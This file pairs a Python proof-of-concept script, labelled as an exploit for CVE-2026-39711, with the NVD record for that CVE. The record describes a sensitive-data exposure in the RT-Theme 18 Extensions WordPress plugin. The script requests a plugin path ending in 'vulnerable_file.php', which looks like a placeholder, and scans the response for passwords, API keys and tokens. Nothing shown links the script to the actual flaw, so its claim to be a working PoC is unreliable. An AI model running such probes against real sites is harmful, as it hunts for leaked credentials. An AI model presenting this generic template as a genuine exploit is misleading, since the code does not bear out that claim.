CVE-2026-39711

import requests def check_sensitive_data_exposure(url): """ PoC for CVE-2026-39711 Checks if the target exposes sensitive data in responses. """ target_endpoint = f"{url}/wp-content/plugins/rt18-extensions/vulnerable_file.php" try: response = requests.get(target_endpoint, timeout=10) if response.status_code == 200: print("[+] Request successful. Analyzing response...") # Check for common sensitive patterns (e.g., 'password', 'token', 'secret') content = response.text.lower() sensitive_keywords = ['password', 'api_key', 'secret', 'token', 'database'] found_keywords = [kw for kw in sensitive_keywords if kw in content] if found_keywords: print(f"[!] Potential sensitive data found: {found_keywords}") print(f"[+] Response Preview:\n{response.text[:500]}") else: print("[-] No obvious sensitive keywords found in response.") else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": # Replace with the actual target URL target_url = "http://localhost" check_sensitive_data_exposure(target_url)

{"cve": {"id": "CVE-2026-39711", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:44.010", "lastModified": "2026-04-24T18:05:09.240", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insertion of Sensitive Information Into Sent Data vulnerability in stmcan RT-Theme 18 | Extensions rt18-extensions allows Retrieve Embedded Sensitive Data.This issue affects RT-Theme 18 | Extensions: from n/a through <= 2.5."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-201"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/rt18-extensions/vulnerability/wordpress-rt-theme-18-extensions-plugin-2-5-sensitive-data-exposure-vulnerability?_s_id=cve", "source": "[email protected]"}]}}